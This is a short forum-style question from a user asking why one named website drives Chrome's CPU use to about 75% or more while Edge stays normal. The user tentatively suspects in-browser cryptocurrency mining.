Whenever I try to visit this particular website, chrome CPU usage shoots up to au moins 75% and my laptop get way louder. If I close the tab everything goes back to normal.
RAM usage never goes up. My naive guess is the website is trying to mine cryptocurrency. But I this happens only if I use Chrome, Edge works normally when I visit this website. The website in question is `www.123telugu.com`. What could be the reason for this behavior?
